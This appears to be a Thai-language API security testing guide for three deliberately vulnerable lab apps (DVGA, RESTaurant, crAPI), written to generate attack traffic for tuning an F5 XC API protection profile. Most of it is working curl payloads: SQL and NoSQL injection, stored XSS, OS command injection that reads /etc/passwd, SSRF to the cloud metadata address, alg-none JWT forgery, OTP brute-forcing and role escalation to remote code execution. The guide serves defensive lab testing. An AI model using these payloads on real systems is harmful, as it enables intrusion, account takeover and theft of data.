ข้ามไปยังเนื้อหา

คู่มือการทดสอบ API

คู่มือนี้จัดทำแคตตาล็อก API endpoint ทุกรายการ ช่องโหว่ที่ตั้งใจสร้างขึ้น และ payload สำหรับการโจมตีในแอปพลิเคชันทดสอบความปลอดภัย API ทั้งสามรายการ ใช้คู่มือนี้เพื่อสร้างรูปแบบการสร้างทราฟฟิกสำหรับการพัฒนาโปรไฟล์การป้องกัน API ของ F5 XC

แอปพลิเคชันโปรโตคอลPathพอร์ตการยืนยันตัวตนช่องโหว่
DVGAGraphQL/dvga/80ไม่มี (admin: admin/password)25 สถานการณ์
RESTaurantREST (FastAPI)/restaurant/80JWT (form-encoded)7 หมวดหมู่ OWASP API 2023
crAPIREST (microservices)/8888JWT (Bearer)18+ ความท้าทาย
Terminal window
ORIGIN="http://<ORIGIN_IP>"
CRAPI="http://<ORIGIN_IP>:8888"

GraphQL Endpoint: POST ${ORIGIN}/dvga/graphql GraphiQL IDE: GET ${ORIGIN}/dvga/ ข้อมูลรับรองผู้ดูแลระบบ: admin / password

การโต้ตอบกับ DVGA ทั้งหมดใช้ endpoint เดียว (/dvga/graphql) ผ่านคำร้องขอ POST ที่มี payload JSON {"query":"..."}

Queries: pastes, paste, me, systemHealth, systemUpdate, systemDiagnostics
Mutations: createPaste, importPaste, uploadPaste
Types: PasteObject (id, title, content, public, owner, ipAddr, userAgent)
OwnerObject (id, username, pastes) ← circular reference
การดำเนินการประเภทการยืนยันตัวตนวัตถุประสงค์
pastes(public, filter, limit)Queryไม่ใช้แสดงรายการ paste (SQL injection ผ่าน filter)
paste(id)Queryไม่ใช้ดึง paste รายการเดียว
me(token)Queryไม่ใช้ดึงผู้ใช้ด้วย JWT (มีช่องโหว่การปลอมแปลง)
systemHealthQueryไม่ใช้ตรวจสอบสถานะ
systemUpdateQueryไม่ใช้Query ช้า (~82 วินาที, เป็นเวกเตอร์ DoS)
systemDiagnostics(cmd)Queryadmin/passwordรันคำสั่ง OS ที่อยู่ใน whitelist
createPaste(title, content, public)Mutationไม่ใช้สร้าง paste (XSS ผ่าน content)
importPaste(host, port, path, scheme)Mutationไม่ใช้นำเข้า paste จากระยะไกล (SSRF, command injection)
uploadPaste(filename, content)Mutationไม่ใช้อัปโหลด paste (path traversal)

การโจมตีด้วย Batch Query:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '[{"query":"{systemUpdate}"},{"query":"{systemUpdate}"},{"query":"{systemUpdate}"}]'

Deep Recursion (การอ้างอิงแบบวงกลมระหว่าง Owner/Paste):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{owner{pastes{owner{pastes{owner{pastes{owner{pastes{title}}}}}}}}}}"}'

Query ที่ใช้ทรัพยากรมาก (~82 วินาทีในการตอบสนอง):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{systemUpdate}"}'

การซ้ำซ้อนของฟิลด์ (ทำซ้ำฟิลด์มากกว่า 500 ครั้ง):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{title title title title title title title title title title title title title title title title title title title title}}"}'

การโจมตีด้วย Alias (การดำเนินการที่มี alias 1000 รายการ):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{q0:systemUpdate q1:systemUpdate q2:systemUpdate q3:systemUpdate q4:systemUpdate q5:systemUpdate q6:systemUpdate q7:systemUpdate q8:systemUpdate q9:systemUpdate}"}'

Introspection (การระบุ schema ทั้งหมด):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name fields{name args{name type{name}}}}}}"}'

Field Suggestions (การพิมพ์ผิดเปิดเผยฟิลด์ที่ถูกต้อง):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{titl}}"}'

SSRF ผ่าน importPaste (ตรวจสอบบริการภายใน):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{importPaste(host:\"localhost\",port:57575,path:\"/\",scheme:\"http\"){result}}"}'

SQL Injection ผ่านพารามิเตอร์ filter:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes(filter:\"aaa\\u0027 OR 1=1--\"){id title content public}}"}'

Stored XSS ผ่าน createPaste:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{createPaste(title:\"<img src=x onerror=alert(1)>\",content:\"xss\",public:true){paste{id title}}}"}'

Log Injection (การปลอมแปลงชื่อ operation):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation getPaste{createPaste(title:\"injected\",content:\"hidden mutation\",public:true){paste{id}}}"}'

OS Command Injection ผ่าน importPaste:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{importPaste(host:\"localhost\",port:80,path:\"/ ; uname -a\",scheme:\"http\"){result}}"}'

OS Command ผ่าน systemDiagnostics (ต้องใช้การยืนยันตัวตนของผู้ดูแลระบบ):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{systemDiagnostics(cmd:\"id\")}"}'

การปลอมแปลง JWT Token (ยอมรับ token ที่ไม่มีลายเซ็น):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{me(token:\"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.\"){username}}"}'

การเขียนไฟล์โดยพลการผ่าน uploadPaste (path traversal):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{uploadPaste(filename:\"../../../tmp/test.txt\",content:\"path traversal test\"){result}}"}'

Swagger UI: ${ORIGIN}/restaurant/docs OpenAPI Spec: ${ORIGIN}/restaurant/openapi.json การยืนยันตัวตน: JWT ผ่าน form-encoded POST ไปยัง /restaurant/token บทบาท: Customer (ค่าเริ่มต้น), Employee, Chef (admin)

Terminal window
# ลงทะเบียนผู้ใช้ทดสอบ
curl -X POST ${ORIGIN}/restaurant/register \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attack123","first_name":"Test","last_name":"User","phone_number":"5551234567"}'
# รับ JWT token (หมายเหตุ: ใช้ form-encoded ไม่ใช่ JSON)
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=attacker&password=Attack123" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
echo "Bearer token: ${TOKEN}"
EndpointMethodการยืนยันตัวตนบทบาทช่องโหว่
/restaurant/registerPOSTไม่ใช้การสร้างผู้ใช้
/restaurant/tokenPOSTไม่ใช้JWT ที่มี secret อ่อนแอ (97952)
/restaurant/healthcheckGETไม่ใช้ตรวจสอบสถานะ
/restaurant/profileGETใช้Anyโปรไฟล์ผู้ใช้
/restaurant/profilePUTใช้AnyBOLA (แก้ไขผู้ใช้รายอื่น)
/restaurant/profilePATCHใช้AnyBOPLA (กำหนด role แบบ mass assign)
/restaurant/users/update_rolePUTใช้AnyBFLA (การยกระดับบทบาท)
/restaurant/menuGETใช้Anyแสดงรายการเมนู
/restaurant/menuPUTใช้Employee+สร้างเมนู (SSRF ผ่าน image)
/restaurant/menu/{item_id}PUTใช้Employee+อัปเดตเมนู (SSRF ผ่าน image)
/restaurant/menu/{item_id}DELETEใช้AnyBFLA (ผู้ใช้ใดก็สามารถลบได้)
/restaurant/ordersGETใช้AnyBOLA (ดูคำสั่งซื้อทั้งหมด)
/restaurant/ordersPOSTใช้Anyสร้างคำสั่งซื้อ
/restaurant/orders/{order_id}GETใช้AnyBOLA (เข้าถึงคำสั่งซื้อของผู้อื่น)
/restaurant/orders/status/{order_id}GETใช้Anyสถานะคำสั่งซื้อ
/restaurant/admin/stats/diskGETใช้ChefCommand injection
/restaurant/reset-passwordPOSTไม่ใช้คำร้องขอรีเซ็ตรหัสผ่าน
/restaurant/reset-password/new-passwordPOSTไม่ใช้ตั้งรหัสผ่านใหม่
/restaurant/referral-codeGETใช้Anyรับรหัสแนะนำ
/restaurant/apply-referralPOSTใช้Anyใช้รหัสแนะนำ
/restaurant/discount-couponsGETใช้Anyแสดงรายการคูปอง

แก้ไขโปรไฟล์ของผู้ใช้รายอื่น:

Terminal window
curl -X PUT ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"username":"chef","phone_number":"hacked","first_name":"Pwned","last_name":"User"}'

เข้าถึงคำสั่งซื้อของผู้ใช้รายอื่น (ระบุ offset แบบลำดับ):

Terminal window
for i in 1 2 3 4 5; do
curl -sf ${ORIGIN}/restaurant/orders/${i} \
-H "Authorization: Bearer ${TOKEN}" 2>&1
echo ""
done

การ brute-force ด้วย JWT secret อ่อนแอ (secret คือ 6 หลัก: 97952):

Terminal window
# ถอดรหัสและปลอมแปลง token ที่ jwt.io
# Secret: 97952 (brute-forceable with hashcat -a 3 -m 16500 token '?d?d?d?d?d?d')
# ปลอมแปลง Chef token:
# Header: {"alg":"HS256","typ":"JWT"}
# Payload: {"sub":"chef","exp":9999999999}
# Sign with secret: 97952

กำหนด role จาก Customer เป็น Chef แบบ mass-assign:

Terminal window
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'

เส้นทางการยกระดับ: Customer → Employee → Chef:

Terminal window
# ขั้นตอนที่ 1: ยกระดับเป็น Employee
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Employee"}'
# ขั้นตอนที่ 2: ยกระดับเป็น Chef
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'

ลบรายการเมนูในฐานะ Customer (ควรต้องใช้ Employee+):

Terminal window
curl -X DELETE ${ORIGIN}/restaurant/menu/1 \
-H "Authorization: Bearer ${TOKEN}"

เปลี่ยน role ของผู้ใช้รายอื่น:

Terminal window
curl -X PUT ${ORIGIN}/restaurant/users/update_role \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"username":"chef","role":"Customer"}'

ตรวจสอบ endpoint ภายในผ่าน image_url ของเมนู (ต้องใช้บทบาท Employee):

Terminal window
# ยกระดับเป็น Employee ผ่าน BOPLA ก่อน จากนั้น:
curl -X PUT ${ORIGIN}/restaurant/menu \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"name":"SSRF Test","price":1.00,"category":"Test","image_url":"http://127.0.0.1:8091/admin/reset-chef-password"}'

OS Command Injection ผ่านสถิติดิสก์ (ต้องใช้บทบาท Chef):

Terminal window
# หลังจากยกระดับเป็น Chef:
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;whoami" \
-H "Authorization: Bearer ${TOKEN}"
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;cat%20/etc/passwd" \
-H "Authorization: Bearer ${TOKEN}"
Terminal window
# 1. ลงทะเบียน
curl -X POST ${ORIGIN}/restaurant/register \
-H "Content-Type: application/json" \
-d '{"username":"hacker","password":"Hack123","first_name":"H","last_name":"X","phone_number":"0"}'
# 2. รับ token
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 3. ยกระดับเป็น Chef (BOPLA)
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'
# 4. ยืนยันตัวตนใหม่เพื่อรับ token ระดับ Chef
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 5. Command injection (RCE)
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;id" \
-H "Authorization: Bearer ${TOKEN}"

Web UI: ${CRAPI}/ MailHog: ${CRAPI}/mailhog/ (รับอีเมลสำหรับการยืนยัน) การยืนยันตัวตน: JWT Bearer token (RS256, มีช่องโหว่จาก algorithm confusion) สถาปัตยกรรม: 7 microservices (identity, community, workshop, postgres, mongo, mailhog, web)

การตั้งค่า: ลงทะเบียน ยืนยันอีเมล และเข้าสู่ระบบ

หัวข้อที่มีชื่อว่า “การตั้งค่า: ลงทะเบียน ยืนยันอีเมล และเข้าสู่ระบบ”
Terminal window
# 1. ลงทะเบียน
curl -X POST ${CRAPI}/identity/api/auth/signup \
-H "Content-Type: application/json" \
-d '{"name":"Test User","email":"tester@example.com","number":"5551234567","password":"TestPass123"}'
# 2. ตรวจสอบ MailHog สำหรับอีเมลยืนยัน
# เปิด ${CRAPI}/mailhog/ หรือใช้ MailHog API:
curl -sf ${CRAPI}/mailhog/api/v2/messages | python3 -c "
import sys,json
msgs = json.load(sys.stdin)['items']
for m in msgs:
print(f\"To: {m['Raw']['To'][0]}, Subject: {m['Content']['Headers']['Subject'][0]}\")
"
# 3. เข้าสู่ระบบและรับ JWT token
TOKEN=$(curl -sf -X POST ${CRAPI}/identity/api/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"tester@example.com","password":"TestPass123"}' | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")
echo "Bearer token: ${TOKEN}"
EndpointMethodการยืนยันตัวตนช่องโหว่
/identity/api/auth/signupPOSTไม่ใช้การลงทะเบียน
/identity/api/auth/loginPOSTไม่ใช้JWT token (algorithm confusion)
/identity/api/auth/forget-passwordPOSTไม่ใช้ขอ OTP
/identity/api/auth/v2/check-otpPOSTไม่ใช้ไม่มีการจำกัดอัตรา (brute-force OTP 4 หลัก)
/identity/api/auth/v3/check-otpPOSTไม่ใช้เวอร์ชันที่มีการจำกัดอัตรา
/identity/api/v2/user/dashboardGETใช้โปรไฟล์ผู้ใช้
/identity/api/v2/user/change-emailPUTใช้การเปลี่ยนอีเมล
/identity/api/v2/vehicle/vehiclesGETใช้แสดงรายการยานพาหนะ (รั่วไหล UUID)
/identity/api/v2/vehicle/{uuid}/locationGETใช้BOLA (ยานพาหนะของผู้ใช้ใดก็ได้)
/identity/api/v2/user/videosPOSTใช้อัปโหลดวิดีโอ
/identity/api/v2/user/videos/{id}GETใช้การเปิดเผยข้อมูล (conversion_params)
/identity/api/v2/user/videos/{id}PUTใช้Mass assignment (command injection)
/identity/api/v2/admin/videos/{id}DELETEใช้BFLA (ไม่มีการตรวจสอบ admin)
EndpointMethodการยืนยันตัวตนช่องโหว่
/community/api/v2/community/postsGETใช้การเปิดเผยข้อมูล (รั่วไหล vehicle_id, email)
/community/api/v2/community/postsPOSTใช้สร้าง blog post
/community/api/v2/community/posts/{id}/commentsPOSTใช้เพิ่มความคิดเห็น
/community/api/v2/coupon/validate-couponPOSTใช้NoSQL injection
EndpointMethodการยืนยันตัวตนช่องโหว่
/workshop/api/mechanicGETใช้การเปิดเผยข้อมูล (อีเมลช่างซ่อม)
/workshop/api/mechanic/mechanic_reportGETไม่ใช้BOLA (ไม่มีการยืนยันตัวตน, ID แบบลำดับ)
/workshop/api/merchant/contact_mechanicPOSTใช้SSRF + DoS
/workshop/api/shop/productsGETใช้แคตตาล็อกสินค้า
/workshop/api/shop/orders/POSTใช้สร้างคำสั่งซื้อ
/workshop/api/shop/orders/allGETใช้แสดงรายการคำสั่งซื้อ
/workshop/api/shop/orders/{id}GETไม่ใช้BOLA (ไม่ต้องการการยืนยันตัวตน)
/workshop/api/shop/orders/{id}PUTใช้Mass assignment (status, quantity)
/workshop/api/shop/apply_couponPOSTใช้SQL injection

ความท้าทายที่ 1 — BOLA: เข้าถึงตำแหน่งยานพาหนะของผู้ใช้รายอื่น

หัวข้อที่มีชื่อว่า “ความท้าทายที่ 1 — BOLA: เข้าถึงตำแหน่งยานพาหนะของผู้ใช้รายอื่น”
Terminal window
# รับ vehicle UUID ของคุณก่อน
curl -sf ${CRAPI}/identity/api/v2/vehicle/vehicles \
-H "Authorization: Bearer ${TOKEN}"
# เข้าถึงยานพาหนะของผู้ใช้รายอื่น (แทนที่ UUID)
curl -sf ${CRAPI}/identity/api/v2/vehicle/VICTIM-UUID-HERE/location \
-H "Authorization: Bearer ${TOKEN}"

ความท้าทายที่ 2 — BOLA: เข้าถึงรายงานช่างซ่อม (ไม่ต้องการการยืนยันตัวตน)

หัวข้อที่มีชื่อว่า “ความท้าทายที่ 2 — BOLA: เข้าถึงรายงานช่างซ่อม (ไม่ต้องการการยืนยันตัวตน)”
Terminal window
# การระบุ ID แบบลำดับ — ไม่ต้องใช้ token
for i in 1 2 3 4 5; do
echo "Report $i:"
curl -sf "${CRAPI}/workshop/api/mechanic/mechanic_report?report_id=${i}"
echo ""
done

ความท้าทายที่ 3 — Broken Auth: Brute-Force OTP สำหรับรีเซ็ตรหัสผ่าน

หัวข้อที่มีชื่อว่า “ความท้าทายที่ 3 — Broken Auth: Brute-Force OTP สำหรับรีเซ็ตรหัสผ่าน”
Terminal window
# ขอ OTP สำหรับเหยื่อ
curl -X POST ${CRAPI}/identity/api/auth/forget-password \
-H "Content-Type: application/json" \
-d '{"email":"victim@example.com"}'
# Brute-force OTP 4 หลัก (v2 ไม่มีการจำกัดอัตรา)
for otp in $(seq -w 0000 9999); do
RESULT=$(curl -sf -X POST ${CRAPI}/identity/api/auth/v2/check-otp \
-H "Content-Type: application/json" \
-d "{\"email\":\"victim@example.com\",\"otp\":\"${otp}\"}" 2>&1)
echo "$otp: $RESULT" | grep -v "Invalid OTP" && break
done

ความท้าทายที่ 4 — การเปิดเผยข้อมูล: รั่วไหลอีเมลช่างซ่อม

หัวข้อที่มีชื่อว่า “ความท้าทายที่ 4 — การเปิดเผยข้อมูล: รั่วไหลอีเมลช่างซ่อม”
Terminal window
curl -sf ${CRAPI}/workshop/api/mechanic \
-H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool

ความท้าทายที่ 5 — การเปิดเผยข้อมูล: พารามิเตอร์การแปลงวิดีโอภายใน

หัวข้อที่มีชื่อว่า “ความท้าทายที่ 5 — การเปิดเผยข้อมูล: พารามิเตอร์การแปลงวิดีโอภายใน”
Terminal window
# อัปโหลดวิดีโอ แล้วตรวจสอบการตอบสนอง
curl -sf ${CRAPI}/identity/api/v2/user/videos \
-H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool
# ดูฟิลด์ conversion_params ในการตอบสนอง
Terminal window
curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"mechanic_code":"MECH001",
"problem_details":"Engine issue",
"vin":"VEHICLE_VIN",
"mechanic_api":"http://localhost:8080/api",
"repeat_request_if_failed":true,
"number_of_repeats":100
}'
Terminal window
# ผู้ใช้ทั่วไปสามารถเข้าถึง admin endpoint ได้
curl -X DELETE ${CRAPI}/identity/api/v2/admin/videos/VIDEO_ID_HERE \
-H "Authorization: Bearer ${TOKEN}"

ความท้าทายที่ 8 & 9 — Mass Assignment: รับสินค้าฟรีผ่านการปรับแต่งคำสั่งซื้อ

หัวข้อที่มีชื่อว่า “ความท้าทายที่ 8 & 9 — Mass Assignment: รับสินค้าฟรีผ่านการปรับแต่งคำสั่งซื้อ”
Terminal window
# เปลี่ยน GET เป็น PUT แก้ไข status และ quantity
curl -X PUT ${CRAPI}/workshop/api/shop/orders/1 \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"status":"returned","quantity":100}'

ความท้าทายที่ 10 — Command Injection ผ่านพารามิเตอร์การแปลงวิดีโอ

หัวข้อที่มีชื่อว่า “ความท้าทายที่ 10 — Command Injection ผ่านพารามิเตอร์การแปลงวิดีโอ”
Terminal window
curl -X PUT ${CRAPI}/identity/api/v2/user/videos/VIDEO_ID \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"conversion_params":"-v codec h264; cat /etc/passwd"}'
Terminal window
curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"mechanic_code":"MECH001",
"problem_details":"test",
"vin":"VIN123",
"mechanic_api":"http://169.254.169.254/latest/meta-data/",
"repeat_request_if_failed":false,
"number_of_repeats":0
}'
Terminal window
curl -X POST ${CRAPI}/community/api/v2/coupon/validate-coupon \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"coupon_code":{"$ne":1}}'
Terminal window
curl -X POST ${CRAPI}/workshop/api/shop/apply_coupon \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d "{\"coupon_code\":\"TRAC075' OR '1'='1\"}"

ความท้าทายที่ 14 — การเข้าถึงคำสั่งซื้อโดยไม่ยืนยันตัวตน

หัวข้อที่มีชื่อว่า “ความท้าทายที่ 14 — การเข้าถึงคำสั่งซื้อโดยไม่ยืนยันตัวตน”
Terminal window
# ไม่มี Authorization header — ยังคงส่งคืนข้อมูล
for i in 1 2 3 4 5; do
curl -sf ${CRAPI}/workshop/api/shop/orders/${i}
echo ""
done
Terminal window
# ปลอมแปลง JWT ด้วย algorithm "none" (ไม่มีการตรวจสอบลายเซ็น):
# 1. ตั้ง header: {"alg":"none","typ":"JWT"} และ base64url-encode
# 2. ตั้ง payload: {"email":"admin@example.com","role":"admin"} และ base64url-encode
# 3. เชื่อมต่อด้วยจุด ปล่อย signature ว่าง: <header>.<payload>.
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
PAYLOAD=$(echo -n '{"email":"admin@example.com","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED="${HEADER}.${PAYLOAD}."
curl -sf ${CRAPI}/identity/api/v2/user/dashboard \
-H "Authorization: Bearer ${FORGED}"

หมวดหมู่ OWASPDVGARESTaurantcrAPI
API1: BOLAPUT /profile, GET /orders/{id}ตำแหน่งยานพาหนะ, รายงานช่างซ่อม, คำสั่งซื้อ
API2: Broken Authการปลอมแปลง JWT (query me)JWT secret อ่อนแอ (97952)OTP brute-force (v2), JWT algorithm confusion
API3: BOPLAPATCH /profile (การยกระดับบทบาท)Video conversion_params, การเปิดเผยอีเมลช่างซ่อม
API4: Resource ConsumptionBatch, recursion, alias, field duplication DoSการระบุผู้ใช้ผ่านความยาวการตอบสนองcontact_mechanic repeat_request DoS
API5: BFLADELETE /menu, PUT /users/update_roleDELETE /admin/videos โดยผู้ใช้ทั่วไป
API6: Mass AssignmentPUT /orders (status, quantity)สถานะ/จำนวนคำสั่งซื้อ, video conversion_params
API7: SSRFmutation importPastePUT /menu image_urlcontact_mechanic mechanic_api URL
API8: InjectionSQL (filter), XSS (content), OS cmd (importPaste, systemDiagnostics)OS cmd (/admin/stats/disk?parameters=)NoSQL (validate-coupon), SQL (apply_coupon)
API9: Improper Assets/auth/v2/check-otp ที่เลิกใช้แล้ว (ไม่มีการจำกัดอัตรา)
API10: Unsafe Consumption(ทางอ้อมผ่าน SSRF)
GraphQL-specificIntrospection, batching, recursion, aliases, field duplication, circular fragments

สร้างทราฟฟิกที่ถูกต้องตามกฎเพื่อกำหนดพฤติกรรม API ปกติก่อนทดสอบรูปแบบการโจมตี

DVGA baseline:

Terminal window
# Query ปกติ
curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"{pastes{id title}}"}'
curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"mutation{createPaste(title:\"note\",content:\"hello\",public:true){paste{id}}}"}'

RESTaurant baseline:

Terminal window
curl -sf ${ORIGIN}/restaurant/menu -H "Authorization: Bearer ${TOKEN}"
curl -sf ${ORIGIN}/restaurant/profile -H "Authorization: Bearer ${TOKEN}"
curl -X POST ${ORIGIN}/restaurant/orders -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" -d '{"menu_item_id":1,"quantity":1}'

crAPI baseline:

Terminal window
curl -sf ${CRAPI}/identity/api/v2/user/dashboard -H "Authorization: Bearer ${TOKEN}"
curl -sf ${CRAPI}/workshop/api/shop/products -H "Authorization: Bearer ${TOKEN}"
curl -sf ${CRAPI}/community/api/v2/community/posts -H "Authorization: Bearer ${TOKEN}"

การทดสอบ BOLA: ระบุ ID แบบลำดับ สลับ identifier ของผู้ใช้ในคำร้องขอ เข้าถึงทรัพยากรโดยไม่มีความเป็นเจ้าของ

การทดสอบ Injection: SQL payload ในพารามิเตอร์ filter/coupon, GraphQL query injection, OS command injection ผ่านฟิลด์พารามิเตอร์

การทดสอบการข้ามการยืนยันตัวตน: ปลอมแปลง JWT token, brute-force OTP, ใช้เวอร์ชัน API ที่เลิกใช้แล้ว, algorithm confusion

การทดสอบ SSRF: URL ภายในใน importPaste, image_url และพารามิเตอร์ mechanic_api

การทดสอบ DoS: GraphQL batch/recursion/alias attacks, repeat_request_if_failed ที่มีจำนวนสูง

การโจมตีบางรูปแบบต้องการลำดับขั้นตอนหลายขั้นที่มีสถานะ:

  1. ห่วงโซ่การยกระดับ RESTaurant: ลงทะเบียน → Token → PATCH role เป็น Chef → ยืนยันตัวตนใหม่ → Command injection
  2. กระบวนการแบบสมบูรณ์ของ crAPI: สมัครสมาชิก → ยืนยันอีเมล (MailHog) → เข้าสู่ระบบ → เพิ่มยานพาหนะ → Contact mechanic (SSRF) → การปรับแต่งคำสั่งซื้อ
  3. DVGA recon-to-exploit: Introspection → ค้นพบ systemDiagnostics → Brute-force ข้อมูลรับรอง admin → การรันคำสั่ง OS
รูปแบบคำร้องขอ/วินาทีระยะเวลาหมายเหตุ
Baseline (ต่อแอป)10-505 นาทีกำหนด fingerprint ทราฟฟิกปกติ
BOLA enumeration100-5002 นาทีการสแกน ID แบบลำดับ
OTP brute-force1000+จนกว่าจะพบสูงสุด 10,000 ครั้ง (4 หลัก)
GraphQL DoS10-5030 วินาทีแต่ละคำร้องขอมีต้นทุนสูงฝั่งเซิร์ฟเวอร์
Injection fuzzing50-2005 นาทีปรับเปลี่ยน payload ในแต่ละคำร้องขอ
SSRF probing5-202 นาทีช้า; แต่ละครั้งทริกเกอร์ HTTP request ฝั่งเซิร์ฟเวอร์